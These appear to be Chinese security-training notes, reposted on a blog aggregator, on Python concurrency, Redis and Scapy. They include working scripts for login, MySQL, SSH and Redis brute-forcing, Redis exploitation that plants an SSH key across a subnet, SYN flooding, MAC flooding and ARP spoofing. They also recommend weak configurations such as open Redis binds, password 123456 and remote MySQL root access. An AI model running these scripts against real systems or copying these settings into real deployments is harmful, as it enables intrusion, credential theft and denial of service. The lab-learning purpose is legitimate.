2.5网安学习第二阶段第五周回顾（个人学习记录使用）

本周重点

①多进程和多线程

1、进程和线程

2、多线程爆破

②Redis数据库

1、Redis的使用

2、Redis持久化

3、Redis未授权免密登录

③嗅探和Python攻击脚本

1、嗅探（端口扫描和IP扫描）

2、SCAPY的应用

3、Python攻击脚本（SYN半连接，MAC泛洪，APR欺骗）

本周主要内容

DAY1 多进程和多线程

①进程

1、进程的定义

狭义：进程是正在运行的程序的实例（fork(), Process）；

广义：进程是一个具有一定独立功能的程序关于某个数据集合的一次运行活动。它是操作系统动态执行的基本单元，在传统的操作系统中，进程既是基本的分配单元，也是基本的执行单元(pstree)。

2、进程状态

img

3、进程创建

方法1

import time
from multiprocessing import Process
def doJob():print("开始工作")time.sleep(1)print("结束工作")
if __name__ == '__main__':print("老板安排工作")p = Process(target=doJob)p.start()print("老板安排完了")

数据共享

from multiprocessing import Process
count = 0
def add():global countcount = count + 1print(f"{count}")
if __name__ == '__main__':p = Process(target=add)p.start()count = count + 1print(f"{count}")

image-20240219101008971

进程之间的通信可以考虑用文件；

方法2

import time
from multiprocessing import Process
def doJob():print("开始工作：")time.sleep(3)print("结束工作：")
class Boss(Process):def run(self):doJob()doJob()doJob()def maRen(self):print("wcnm")def terminate(self):print("aaaa")
if __name__ == '__main__':print("老板安排任务")b = Boss()b.start()print("老板安排结束")

如何传参

from multiprocessing import Process
def addOne(value):print(value+value)
def add(x, y):print(x+y)
if __name__ == '__main__':#Process(target=addOne, args=(2,)).start()Process(target=addOne, kwargs={"value": 2}).start()Process(target=add, kwargs={"x":2, "y":3}).start()
4、多进程爆破

一般不推荐进程爆破，因为比较重，可以考虑用线程；

登录，F12查看登录实际请求的地址；

4种登录的方式：

1. 表单：requests.post(url='', data='')
2. json：requests.post(url='', json='')
3. url：requests.post(url='', url='')
4. 文件提交：requests.post(url='', file=open())

步骤：

  1. 需要发请求给”网站“（数据从文件读出来的）；

    data={"username":user, "password": passwd}
requests.post(url='xxxx', json=data)

  2. 查看用户名和密码是否正确；

代码：

import requests
from multiprocessing import Process
def burp(user_lst):with open('./mima.txt', mode='r', encoding='UTF-8') as f:pass_lst = f.readlines()for username in user_lst:for passwd in pass_lst:passwd = passwd.strip()data={"username":username, "password": passwd}response = requests.post(url='http://cd.woniulab.com:8900/stage-api/login', json=data)if response.json()['code'] == 200:print(f"用户名{username}和密码：{passwd}正确")else:print(f"用户名{username}和密码：{passwd}错误")
if __name__ == '__main__':with open('./username-top500.txt', mode='r', encoding='UTF-8') as f:users = f.readlines()step = 1for index in range(0, len(users), step):user_lst = users[index:index+step]Process(target=burp, args=(user_lst,)).start()
5、JOIN的使用

试验-1

from multiprocessing import Process
import time
def savingMoney(amount):#1、读取账户余额with open("bank.txt", mode='r', encoding='utf-8') as f:money = f.read()time.sleep(2)#2、累加写入with open("bank.txt", mode='w', encoding='utf-8') as f:f.write(f"{int(money) + amount}")
def drawMoney(amount):# 1、读取账户余额with open("bank.txt", mode='r', encoding='utf-8') as f:money = f.read()# 2、累加写入with open("bank.txt", mode='w', encoding='utf-8') as f:f.write(f"{int(money) - amount}")
if __name__ == '__main__':p1 = Process(target=savingMoney, args=(1000,))p1.start()p1.join()p2 = Process(target=drawMoney, args=(800,))p2.start()

image-20240219151859431

试验-2

from multiprocessing import Process
import time
def doSth(secs):time.sleep(secs)
if __name__ == '__main__':start = time.time()#代码p1 = Process(target=doSth,args=(1,))p2 = Process(target=doSth, args=(2,))p3 = Process(target=doSth, args=(3,))p1.start()p2.start()p3.start()p1.join()p2.join()p3.join()end = time.time()print(f"{end - start}")

image-20240219153030054

试验-3

from multiprocessing import Process
import time
def doSth(secs):time.sleep(secs)
if __name__ == '__main__':start = time.time()#代码p1 = Process(target=doSth,args=(1,))p2 = Process(target=doSth, args=(2,))p3 = Process(target=doSth, args=(3,))p1.start()p1.join()p2.start()p2.join()p3.start()p3.join()p3.join()end = time.time()print(f"{end - start}")

image-20240219153600582

注意：Join的一般用法不会是顺序执行，可以参照试验-2（大数据框架中的一个概念，map-reduce）。

②线程

1、线程的意义

比进程”轻“，具体怎么”轻“后面看。

轻：占的内存比较少。

2、创建线程

方式1

import time
from threading import Thread
def doJob():print("开始工作\n")time.sleep(1)print("结束工作\n")
if __name__ == '__main__':print("老板分配任务\n")t1 = Thread(target=doJob)t1.start()print("老板分配完了")

数据共享

import time
from threading import Thread
count = 0
def add():global countcount = count + 1print(f"add的结果：{count}")
if __name__ == '__main__':p = Thread(target=add)p.start()count = count + 1print(f"main的结果：{count}")

count的最终结果是：2。

import time
from threading import Thread
#count = 0
def add():#global countcount = 0count = count + 1print(f"add的结果：{count}")
if __name__ == '__main__':p1 = Thread(target=add)p1.start()p2 = Thread(target=add)p2.start()#count = count + 1#print(f"main的结果：{count}")

count的最终结果是：1。

方式2

from threading import Thread
import time
def doJob(name):print(f"{name}:开始执行")time.sleep(1)print(f"{name}:执行完了")
class Boss(Thread):def __init__(self, name):super().__init__()self.thread_name = namedef run(self):doJob(self.thread_name)
if __name__ == '__main__':t1 = Boss("线程1")t1.start()t2 = Boss("线程2")t2.start()

线程和进程的区别：线程是共享堆区数据，但是不共享栈区数据；进程是都不共享。

3、GIL全局解释器锁（拓展）
import time
from threading import Thread
count = 0
def add():global countfor i in range(1000):count += 1
if __name__ == '__main__':allThread = []for i in range(10000):t = Thread(target=add)allThread.append(t)for thread in allThread:thread.start()for thread in allThread:thread.join()print(f"最后的count是：{count}")

GIL锁失效的情况：

1. 执行IO操作；
2. 执行时间过长；

GIL失效试验

import time
from threading import Thread
count = 0
def add():global countfor i in range(1000000):count += 1
if __name__ == '__main__':allThread = []for i in range(10):t = Thread(target=add)allThread.append(t)for thread in allThread:thread.start()for thread in allThread:thread.join()print(f"最后的count是：{count}")

GIL锁只会利用一个内核。

计算密集型

大量的计算，不太占用IO。

import time
from threading import Thread
from multiprocessing import Process
count = 0
def add():global countfor i in range(10000000):count += 1
if __name__ == '__main__':start = time.time()allThread = []for i in range(10):t = Thread(target=add)allThread.append(t)for thread in allThread:thread.start()for thread in allThread:thread.join()end = time.time()# 进程：并发测试时间：4.198992013931274's# 线程：并发测试时间：9.207940101623535'sprint(f"并发测试时间：{end-start}'s")#print(f"最后的count是：{count}")

对比：线程执行的比进程慢；

原因：线程需要加gil锁

正确性：

  1. 进程没有所谓的正确性，因为堆区的数据不共享；

  2. 线程有可能正确，也有可能错误（GIL锁失效的时候错误）。

IO密集型

在IO密集型的系统里面，使用线程是有意义的。

import time
from threading import Thread
from multiprocessing import Process
count = 0
def add():global countfor i in range(1000):time.sleep(0.01)count += 1
if __name__ == '__main__':start = time.time()allThread = []for i in range(10):t = Process(target=add)allThread.append(t)for thread in allThread:thread.start()for thread in allThread:thread.join()end = time.time()# 进程：并发测试时间：15.886976718902588's# 线程：并发测试时间：15.444493055343628'sprint(f"并发测试时间：{end-start}'s")print(f"最后的count是：{count}")

归纳

进程和线程如何选择：

IO密集型可以考虑多线程；
计算密集型可以考虑多进程。

DAY2 Redis（接第二周Mysql部分）

①Redis是什么

是数据库，结构是：key-value。

Redis很快：

  1. 数据结构（逻辑）：key-value的形式（查找的时间复杂度是O(1）~O(log(n))）

  2. 数据存储位置（硬件）：存储在内存的；

适合放到redis里面的内容：

经常查询而且变化比较少的数据适合放在redis（比如说商品信息，相关的配置信息）

比如说比较小的，点赞数，排行榜；

②Redis的使用

1、安装

进入：/usr/local

下载wget（如果没有的话）：yum -y install wget

下载redis：wget http://download.redis.io/releases/redis-5.0.4.tar.gz

解压：tar -zxvf redis-5.0.4.tar.gz

进入：redis-5.0.4/src安装编译工具(gcc)：yum -y install gcc gcc-c++ make

编译：make install

查看编译好的内容：redis-server

启动redis：./redis-server

image-20240220101517010

windows安装redis：（自己搜索），仅当作客户端来用，不用当服务器；

window进入CMD：进入到windows下redis的安装目录，执行redis-cli.ext -h 你的ip地址 -p 6379

6379是redis默认的端口号；

2、Redis配置文件

redis的相关配置都在redis.conf里面：

bind 0.0.0.0 #要么注释掉，要么改成0.0.0.0，默认是127.0.0.1
protected-mode no #no代表的不是保护模式，意味着，不用密码远程机器也可以进行登录
port 6379 #代表端口号，可以自己修改（安全）
daemonize yes #yes代表后台启动，no代表不能后台启动
pidfile #默认进程号
database 16#数据库的数量
dbfilename dump.rdb #持久化db的文件（一会说）
dir ./ #dump.rdb持久化目录
requirepass 123456 #代表需要密码登录，我这里的密码设置的是123456
3、常用的命令

Redis的所有的数据都是key-value形式的。

cmd登录

Redis-cli -h 192.168.10.132 -p 6379 -a 123456

String

普通字符串的基本操作

set name kkkget nameexists namedel name

批量设置：

mset key1 value1 key2 value2
mget key1 key2

对数字类型的字符可以进行操作：

INCR age

过期时间

EXPIRE name 60 #设置过期时间TTL name #查看过期时间

List

List表示的是key-value中的value是List类型

LPUSH key value1 value2 ...
RPUSH key value1 value2 ...
LPOP key value1 value2 ... #会拿到最左边的值并且删除
RPOP key value1 value2 ...
LRANGE key start stop #取某个返回

Hash

HSET key field value

HMSET stu:1 name Yangkm age 15 score 80
HMSET stu:2 name ZJQ age 15 score 90
HGETALL stu:1
HGET stu:1 name

其他

Set、ZSet、Stream(用的不多)、GEO、HyperLOG、BitMap

③Redis持久化

1、RDB

保存

Redis中的数据保存到磁盘里面

image-20240220141851002

读取

恢复数据，保存的文件是RDB文件，是一个经过压缩的二进制文件，可以通过该文件还原redis中的数据

image-20240220141935862

创建RDB文件

手动

save：阻塞的；bgsave：非阻塞的。

自动

save 900 1 save 300 10save 60 10000

以下3个条件只要满足一个，就执行bgsave的命：

  1. 服务器在900s（15分钟）之内，对(redis)数据库进行了至少1次修改；

  2. 服务器在300s（5分钟）之内，对(redis)数据库进行了至少10次修改；

  3. 服务器在60s（1分钟）之内，对(redis)数据库进行了至少1万次修改；

image-20240220143133864

读取rdb文件

如果没有开启AOF，默认就会读取RDB的文件（恢复数据）。

如果开启了AOF，就会读取AOF的。

BGSAVE解释

执行bgsave的时候，会fork()创建子进程，创建进程而不是线程的原因是防止数据发生冲突。

image-20240220144213979

当数据发生改变的时候，会使用写时拷贝技术（copy-on-write）

image-20240220144253639

2、AOF

AOF也时持久化的技术。

保存

只有redis写成功了，才会把redis的数据写入到aof文件。

image-20240220151815706

读取

image-20240220151825753

开启AOF

image-20240220152749105

image-20240220152655140

AOF持久化的实现

appendfsync有3个选项：

appendfsync always #丢失的数据最少，但时效率最低
appendfsync everysec #一般采用everysec，性能和no差不多;
appendfsync no

优缺点

优点：

避免额外的开销，因为错误的命令是不会被记录进去的；
不会阻塞当前操作的；

缺点：

有可能会丢失数据；可能会阻塞【下一条】命令；

加载AOF文件

Redis启动—-> 创建伪客户端 —> 从AOF中逐条的读取命令 —-> 查看是否执行完毕 —->完了

AOF重写

image-20240220154357139

image-20240220154414512

手动重写

注意：

#下面如果是yes，要改成noaof-use-rdb-preamble no
bgrewriteaof

自动重写

image-20240220154939240

自动重写的条件两个满足其中之一：

  1. aof的文件大于64MB；

  2. 从上次重写之后，这次的文件比之前大了一倍；

RDB和AOF

RDB相较AOF更容易丢失数据；

AOF相较RDB恢复数据的时间更长；

结合AOF和RDB的优点：

aof-use-rdb-preamble yes

重写AOF会把AOF的文件变成RDB格式（快照+二进制+数据+压缩）

④Redis未授权登录

通过Redis登录到对方的Linux系统里面；

  1. （做爆破之前：扫描所有的IP下所有的端口）爆破；

  2. 利用Redis进行免密登录到对方的服务器。

利用SSH

和之前说的HTTPS类似，底层也是用的非对称加密，参考：

什么是SSH？SSH是如何工作的？ - 华为

1、免密登录方法

  1. 客户端生成密钥对（公钥、私钥）；

  2. 客户端把公钥发给服务端；

  3. 客户端用私钥加密消息，服务端用公钥解密消息；

  4. 公钥私钥能够匹配，就不需要输入密码；

  5. 客户端免密登录成功；

2、免密登录过程

2.1攻击机生成ssh密钥对（准备）

C:\Users\86156>ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (C:\Users\86156/.ssh/id_rsa):按回车
Enter passphrase (empty for no passphrase):按回车
Enter same passphrase again:按回车
Your identification has been saved in C:\Users\86156/.ssh/id_rsa
Your public key has been saved in C:\Users\86156/.ssh/id_rsa.pub
The key fingerprint is:
The key's randomart image is:
+---[RSA 3072]----+
| o+=.+oB+ ..     |
|o . +.Boo...     |
| o . ..Bo=o     .|
|    . =.O+o. . o |
|     . =So .E o  |
|        . o  o   |
|         o o     |
|          =.o    |
|         ..*+    |
+----[SHA256]-----+

私钥：C:\Users\86156.ssh\id_rsa

公钥：C:\Users\86156.ssh\id_rsa.pub

2.2靶机安装好Redis（准备）

已经安装好了。

2.3靶机的Redis的同步方式用RDB（准备）

去掉AOF

2.4靶机生成ssh（准备）

让靶机支持ssh。

在用户家目录下：

ssh-keygen

生成之后，会在用户的家目录下生成一个.ssh的文件夹，进入这个目录：

cd .sshlsid_rsaid_rsa.pub

2.5攻击机连接Redis

redis-cli.exe -h 192.168.100.181 -p 6379 -a 123456

2.6攻击机向靶机注入公钥

set mykey "\n\n公钥\n\n\n"

修改rdb文件的存储路径：

config set dir /root/.ssh

修改文件名称(原来的rdb文件名是:dump.rdb)：

config set dbfilename authorized_keys

保存：

save

然后再攻击机的/root/.ssh/目录下就可以看到authorized_keys，打开该文件，会记录你攻击机的公钥。

2.7攻击机进行免密登录

C:\Users\86156\.ssh>ssh -i id_rsa root@192.168.100.181

⑤MYSQL补充

1、Linux的MYSQL安装（之前是在dock安装）
wget https://dev.mysql.com/get/mysql57-community-release-el7-9.noarch.rpm
rpm -ivh mysql57-community-release-el7-9.noarch.rpm

修改版本

进入到：/etc/yum.repos.d/

vi mysql-community.repo

image-20240220174549910

yum下载mysql-server

yum -y install mysql-server

启动mysql服务

systemctl start mysqld

进入mysql

mysql -uroot -p

注意：5.6默认是不需要密码的。

设置密码

set password for root@localhost=password('123456');

5.7默认是不允许弱口令，5.6就没有这个问题；

外网访问权限设置

mysql> grant all privileges on *.* to root@'%' identified by '123456';mysql> flush privileges;

这样就可以通过navicat进行连接了。（之前mysql用过的软件）

DAY3 嗅探和Pytho攻击脚本

①爆破补充

1、MYSQL
import pymysql
with open("./mima.txt", mode="r", encoding="utf-8") as f:pass_list = f.readlines()for item in pass_list:try:item = item.strip()pymysql.connect(host='192.168.100.181', user='root', password=item, port=3306)print(f"登录成功，密码是{item}")# breakexcept:continueprint(f"密码：{item}是错的")
2、SSH
import paramiko
with open("./mima.txt", mode="r", encoding="utf-8") as f:pass_list = f.readlines()for item in pass_list:try:item = item.strip()trans = paramiko.Transport(('192.168.100.181', 22))trans.connect(username='root', password=item)print(f"登录成功，密码是{item}")breakexcept:print(f"密码：{item}是错的")
3、Redis
import redis
import paramiko
from paramiko.client import AutoAddPolicy
#根据ip爆破redis的密码
def burp_redis(ip):with open("./mima.txt", mode="r", encoding="utf-8") as f:pass_list = f.readlines()for item in pass_list:try:item = item.strip()rds = redis.Redis(host=ip, password=item)result = rds.keys("*") #相当于是 "keys *"print(f"登录成功，密码是{item}")#成功之后要往靶机上注入公钥inject_pub(ip, rds)# breakexcept:continue#这一行代码不会执行print(f"密码：{item}是错的")
def inject_pub(ip, rds):public_key = "./pubkey.txt"with open(public_key , mode="r", encoding="utf-8") as f:rds.set('ykm', f.read())rds.config_set('dir', '/root/.ssh')rds.config_set('dbfilename', 'authorized_keys')rds.save()ssh_login(ip)
def ssh_login(ip):private_key = "C:/Users/86156/.ssh/id_rsa"privatekey = paramiko.RSAKey.from_private_key_file(filename=private_key)ssh = paramiko.SSHClient()#登录的策略，按照固定的写法就可以了ssh.set_missing_host_key_policy(AutoAddPolicy)ssh.connect(hostname=ip, username='root', pkey=privatekey)stdin, stdout, stderr = ssh.exec_command('ls')print(stdout.read().decode())
#尝试多线程
if __name__ == '__main__':ip = "192.168.100."burp_redis(ip)for i in range(1,254):burp_redis(f"{ip}{i}")

②嗅探

1、IP扫描
def scan_ip(ip, start, end):for suffix in range(start,end):whole_IP = f"{ip}{suffix}"result = os.popen(f"ping -n 1 -w 100 {whole_IP}").read()if "TTL" in result:print(f"{whole_IP}可达")
if __name__ == '__main__':ip = '192.168.100.'#线程数调优step = 80for i in range(0,255,step):Thread(target=scan_ip, args=(ip, i, i+step)).start()
2、端口扫描
import socket
from threading import Thread
def scan_ip_port(ip, start, end):for port in range(start, end):try:sk = socket.socket()sk.connect((ip, port))print(f"{ip}地址存在端口号：{port}")except:continue
if __name__ == '__main__':ip = "192.168.100.181"step = 100for i in range(1, 65535, step):Thread(target=scan_ip_port, args = (ip, i, i+step)).start()

③SCAPY

是python开发的第三方的模块，做到wireshark可以做的事情；

安装：pip install scapy

show_interfaces()：查看网卡信息；

可以模拟wireshark”操作”某个网卡；

1、Sniff(流量嗅探)

sniff()是一个类，实例化。

初始化（构造函数）有：

1. iface：对应的网卡的名字，你要嗅探哪个网卡
2. count: 捕获多少个数据包
3. filter：过滤规则，类似wireshark的

构造：

pkg = sniff(iface="Intel(R) 82579LM Gigabit Network Connection", count=4, filter="icmp")
pkg.show()
type(pkg)
pkg[0][ICMP]
pkg[0][IP].src

持久化（写入硬盘） wrpcap(“E:/myicmp.cap”, pkg)

2、IPv4协议

IP().show()

###[ IP ]###version   = 4ihl       = Nonetos       = 0x0len       = Noneid        = 1flags     =frag      = 0ttl       = 64proto     = ipchksum    = Nonesrc       = 127.0.0.1dst       = 127.0.0.1\options   \
3、ICMP协议

ICMP().show()

type      = echo-requestcode      = 0chksum    = Noneid        = 0x0seq       = 0x0unused    = ''

发送ICMP报文：

msg = IP(dst="192.168.100.181")/ICMP()
send(msg) #抓包可以看到报文
#带内容
msg = IP(dst="192.168.100.181")/ICMP()/"AAAAA"
#带个数
send(msg, count=4, inter=1)
4、ARP协议

ARP().show()

发送ARP报文：

msg=ARP(pdst="192.168.100.181")
res = sr1(msg)
Begin emission:
Finished sending 1 packets.
.*
Received 2 packets, got 1 answers, remaining 0 packets
>>> res.show()
#返回的内容，注意：arp的目的不是把信息发送到某个ip，而是为了找某个ip的mac地址；
###[ ARP ]### hwtype    = Ethernet (10Mb)ptype     = IPv4hwlen     = 6plen      = 4op        = is-athwsrc     = 00:0c:29:e7:c4:bfpsrc      = 192.168.100.181hwdst     = 00:50:56:c0:00:08pdst      = 192.168.100.1
###[ Padding ]###load      = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
5、TCP协议

TCP().show()

TCP发送：

>>> msg = IP(dst="192.168.100.181")/TCP(dport=3306)
>>> res=send(msg)
>>> res.show() #会报错，因为res没有接收不了任何值
###[ TCP ]###sport     = ftp_datadport     = 3306seq       = 0ack       = 0dataofs   = Nonereserved  = 0flags     = S   # S代表的是请求SYN，SA代表的是SYN+ACK, A代表的是ACKwindow    = 8192chksum    = Noneurgptr    = 0options   = ''
>>> res=sr1(msg) #sr1是又发又收
>>> res.show()
###[ IP ]###version   = 4ihl       = 5tos       = 0x0len       = 44id        = 0flags     = DFfrag      = 0ttl       = 64proto     = tcpchksum    = 0xf0c4src       = 192.168.100.181dst       = 192.168.100.1\options   \
###[ TCP ]###sport     = 3306dport     = ftp_dataseq       = 1237108830ack       = 1dataofs   = 6reserved  = 0flags     = SAwindow    = 29200chksum    = 0xbce4urgptr    = 0options   = [('MSS', 1460)]
###[ Padding ]###load      = '\x00\x00'
6、Ether(数据链路层)协议

Ether().show()

④Python攻击脚本

1、Python实现SYN半连接攻击
import random
import scapy
from threading import Thread
from scapy.layers.inet import IP, TCP
from scapy.sendrecv import send
from scapy.volatile import RandIP
def send_syn(ip):srcIP = RandIP()srcPort = random.randint(1,60000)msg = IP(dst=ip, src=srcIP)/TCP(flags="S", sport=srcPort, dport=3306, seq=10010)send(msg)
if __name__ == '__main__':for i in range(100000):Thread(target=send_syn, args=("192.168.100.181",)).start()

查看半连接：

 netstat -anpt|grep SYN_RECV|wc -l
2、Python实现ARP发送
from scapy.layers.l2 import ARP
from scapy.sendrecv import sr1
from threading import Thread
def scan_ip(ip):pkg = ARP(pdst=ip)result = sr1(pkg, timeout=1, verbose=False)try:print(f"{result[ARP].psrc}的mac地址是{result[ARP].hwsrc}")except:pass
if __name__== '__main__':ip1 = '192.168.200.'ip2 = '192.168.201.'for i in range(255):ip = ip1 + str(i)Thread(target=scan_ip, args=(ip,)).start()for i in range(255):ip = ip2 + str(i)Thread(target=scan_ip, args=(ip,)).start()
3、Python现实MAC泛洪攻击

发Ether()

from scapy.layers.inet import IP
from scapy.layers.l2 import Ether
from scapy.sendrecv import sr1,sendp
from scapy.volatile import RandMAC, RandIP
from threading import Thread
def flood_mac():while True:srcMac = RandMAC()dstMac = RandMAC()srcIP = RandIP()dstIP = RandIP()pkg = Ether(dst=dstMac, src=srcMac)/IP(src=srcIP, dst=dstIP)sendp(pkg, iface="VMware Virtual Ethernet Adapter for VMnet8")
if __name__ == '__main__':for i in range(1000):Thread(target=flood_mac).start()
4、Python实现ARP欺骗

靶机：win10。

攻击机：kali。

gateway：vment8的网关。

攻击机告诉靶机我是网关；

攻击机告诉网关我是靶机。

from scapy.layers.l2 import ARP, Ether, getmacbyip
from scapy.sendrecv import sendp
​
​
def spoof_both_directions():win10_ip = "192.168.10.129"win10_mac = getmacbyip(win10_ip)
​kali_ip = "192.168.10.128"kali_mac = getmacbyip(kali_ip)
​gateway_ip = "192.168.10.2"gateway_mac = getmacbyip(gateway_ip)
​# 发送ARP响应，将网关的IP地址映射到Kali的MAC地址pkg1 = Ether(src=kali_mac, dst=gateway_mac) / ARP(op=2, psrc=win10_ip, pdst=gateway_ip, hwsrc=kali_mac,hwdst=gateway_mac)# 发送ARP响应，将Kali的IP地址映射到网关的MAC地址pkg2 = Ether(dst=win10_mac, src=kali_mac)/ARP(op=2, psrc=gateway_ip, hwsrc=kali_mac, pdst=win10_ip, hwdst=win10_mac)
​# 同时发送两个ARP包sendp(pkg1, verbose=False, iface="VMware Virtual Ethernet Adapter for VMnet8")sendp(pkg2, verbose=False, iface="VMware Virtual Ethernet Adapter for VMnet8")
​
​
if __name__ == '__main__':while True:spoof_both_directions()  # 循环发送双向ARP欺骗包
​

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.rhkb.cn/news/262413.html

如若内容造成侵权/违法违规/事实不符，请联系长河编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

前端数据可视化：ECharts使用

前端数据可视化：ECharts使用

可视化介绍 ​  ​  应对现在数据可视化的趋势，越来越多企业需要在很多场景(营销数据，生产数据，用户数据)下使用，可视化图表来展示体现数据，让数据更加直观，数据特点更加突出。   ​  数据可视化主要目…
阅读更多...
Qt_快速安装指南

Qt_快速安装指南

下载Qt在线安装程序（不仔细介绍）注册Qt账号（不仔细介绍）使用快速运行的命令，按照指定的下载地址下载 在Qt指定目录打开cmd命令窗口.\eqt-unified-windows-x86-4.0.1-1-online. exe --mirror https://mirrors.ustc.edu.…
阅读更多...
华清远见嵌入式学习——驱动开发——作业1

华清远见嵌入式学习——驱动开发——作业1

作业要求&#xff1a; 通过字符设备驱动分步注册过程实现LED驱动的编写&#xff0c;编写应用程序测试&#xff0c;发布到CSDN 作业答案&#xff1a; 运行效果&#xff1a; 驱动代码&#xff1a; #include <linux/init.h> #include <linux/module.h> #include &l…
阅读更多...
代理模式笔记

代理模式笔记

代理模式 代理模式代理模式的应用场景先理解什么是代理&#xff0c;再理解动静态举例举例所用代码 动静态的区别静态代理动态代理 动态代理的优点代理模式与装饰者模式的区别 代理模式 代理模式在设计模式中是7种结构型模式中的一种&#xff0c;而代理模式有分动态代理&#x…
阅读更多...
Nginx 配置前端工程项目二级目录

Nginx 配置前端工程项目二级目录

前提&#xff1a; 前端工程技术框架: vue 后端工程技术工程&#xff1a;spring boot 需求&#xff1a;需要通过二级目录访问前端工程&#xff1a; 如之前&#xff1a;http://127.0.0.1:80/ 改成 http://127.0.0.1/secondDirectory:80/ 一.前端工程支持二级目录 1.编译文…
阅读更多...
（十八）devops持续集成开发——使用docker安装部署jenkins流水线服务

（十八）devops持续集成开发——使用docker安装部署jenkins流水线服务

前言 本节内容介绍如何使用docker容器来部署安装jenkins流水线服务。关于docker容器的安装本节内容不做介绍。请读者提前安装。 正文 ①使用docker查找jenkins官方镜像 ② 拉取jenkins官方镜像jenkins/jenkins&#xff0c;选择一个最新稳定版本&#xff0c;避免一些插件不兼…
阅读更多...
15.一种坍缩式的简单——组合模式详解

15.一种坍缩式的简单——组合模式详解

当曾经的孩子们慢慢步入社会才知道&#xff0c;那年味渐淡的春节就像是疾驰在人生路上的暂停键。 它允许你在隆隆的鞭炮声中静下心来&#xff0c;瞻前顾后&#xff0c;怅然若失。 也允许你在寂静的街道上屏气凝神&#xff0c;倾听自己胸腔里的那团人声鼎沸。 孩子们会明白的&am…
阅读更多...
mysql在服务器中的主从复制Linux下

mysql在服务器中的主从复制Linux下

mysql在服务器中的主从复制Linux下 为什么要进行主从复制主从复制的原理主从复制执行流程操作步骤主库创建从库创建 测试 为什么要进行主从复制 在业务中通常会有情况&#xff0c;在sql执行时&#xff0c;将表锁住&#xff0c;导致不能进行查询&#xff0c;这样就会影响业务的…
阅读更多...
游戏平台如何定制开发？

游戏平台如何定制开发？

随着科技的飞速发展和互联网的普及&#xff0c;游戏平台已成为人们休闲娱乐的重要选择。为了满足用户多样化的需求&#xff0c;游戏平台的定制开发显得尤为重要。本文将探讨游戏平台定制开发的过程、关键要素以及注意事项&#xff0c;为有志于涉足此领域的开发者提供参考。 一、…
阅读更多...
商品评论接口的应用

商品评论接口的应用

一、应用场景 商家调研自家产品的满意度及改进建议&#xff0c;B端商户想要铺货挑选商品&#xff0c;独立站运营商 二、公共参数 请求地址: https://api/item_review 三、请求参数 请求参数&#xff1a;num_iid600530677643&data&page1 参数说明&#xff1a;参数…
阅读更多...
OpenAI文生视频大模型Sora概述

OpenAI文生视频大模型Sora概述

Sora&#xff0c;美国人工智能研究公司OpenAI发布的人工智能文生视频大模型&#xff08;但OpenAI并未单纯将其视为视频模型&#xff0c;而是作为“世界模拟器” &#xff09;&#xff0c;于2024年2月15日&#xff08;美国当地时间&#xff09;正式对外发布。 Sora可以根据用户…
阅读更多...
golang入门介绍-1

golang入门介绍-1

今天开始发布关于go语言入门到实战内容&#xff0c;各位小伙伴准备好。 go介绍 Go语言&#xff08;或 Golang&#xff09;起源于 2007 年&#xff0c;并在 2009 年正式对外发布。是由 Google 公司开发的一种静态强类型、编译型、并发型、并具有垃圾回收功能的编程语言。 Go 是…
阅读更多...
Maven depoly：Skipping artifact deployment

Maven depoly：Skipping artifact deployment

问题描述&#xff1a; 使用IDEA执行mvn depoly将本地开发的模块发布到Maven私服时&#xff0c;一直提示&#xff1a;Skipping artifact deployment&#xff0c;自动跳过了depoly部署阶段。 问题分析 Maven构建生命周期中的每一个阶段都是由对应的maven插件执行具体工作的。既然…
阅读更多...
【无标题】旋转链表与力扣报错：member access within null pointer of type ‘struct ListNode‘

【无标题】旋转链表与力扣报错：member access within null pointer of type ‘struct ListNode‘

项目场景&#xff1a; 做单链表反转题目&#xff0c;报错&#xff1a;member access within null pointer of type ‘struct ListNode’ 题目链接:LINK 问题描述 我明明在初始化指针时候&#xff0c;已经处理了n2->next情况却依然报错 这个报错提示含义是&#xff1a;大概就…
阅读更多...
C++日志库plog使用指南

C++日志库plog使用指南

前言 之前介绍过一个C语言日志库 轻量级c语言开源日志库log.c介绍&#xff0c;源代码只有不到200行&#xff0c;使用非常方便。但是也存在很多缺点&#xff0c;比如日志时间只支持打印到秒&#xff0c;没有作多线程处理&#xff0c;不支持日志回滚。在小型项目或者测试demo中使…
阅读更多...
【Effective Objective - C】—— block 块

【Effective Objective - C】—— block 块

【Effective Objective - C】—— block 块 前言37.理解块的概念块的基础知识块可以捕获变量内联块的用法块的内部结构栈块堆块全局块要点 38.为常用的块类型创建typedef要点 39.用handler块降低代码分散程度协议传值实现异步块实现异步回调操作里的块要点 40.用块引用其所属对…
阅读更多...
SpringBoot项目快速创建

SpringBoot项目快速创建

SpringBoot项目快速创建 方法一&#xff1a;通过IDEA的Spring Initializr 点击文件&#xff0c;新建项目&#xff0c;选择Spring Initializr 名称&#xff1a;项目名称存放位置&#xff1a; 语言&#xff1a;Java类型&#xff1a;Maven组&#xff1a;<groupId>com.exam…
阅读更多...
MyBatisPlus条件构造器和常用接口

MyBatisPlus条件构造器和常用接口

前置配置文章 一、wapper介绍 wrapper的继承体系&#xff1a; Wrapper &#xff1a; 条件构造抽象类&#xff0c;最顶端父类 AbstractWrapper &#xff1a; 用于查询条件封装&#xff0c;生成 sql 的 where 条件 QueryWrapper &#xff1a; 查询条件封装UpdateWrapper &#x…
阅读更多...
【MATLAB GUI】 4. 坐标区和表

【MATLAB GUI】 4. 坐标区和表

看B站up主freexyn的freexyn编程实例视频教程系列36Matlab GUI的学习笔记 文章目录 坐标区表 坐标区 任务要求设计一个图像显示界面&#xff0c;根据选定的周期做出相应的sin函数图像 使用坐标区、弹出式菜单、普通按钮设计页面&#xff0c;弹出式菜单string设置为1、2、3、4代…
阅读更多...
C#，动态规划（DP）丢鸡蛋问题（Egg Dropping Puzzle）的三种算法与源代码

C#，动态规划（DP）丢鸡蛋问题（Egg Dropping Puzzle）的三种算法与源代码

1 扔鸡蛋问题 动态规划&#xff08;Dynamic Programming&#xff0c;DP&#xff09;是运筹学的一个分支&#xff0c;是求解决策过程最优化的过程。20世纪50年代初&#xff0c;美国数学家贝尔曼&#xff08;R.Bellman&#xff09;等人在研究多阶段决策过程的优化问题时&#xf…
阅读更多...
最新文章
推荐文章

Copyright @ 2022~2023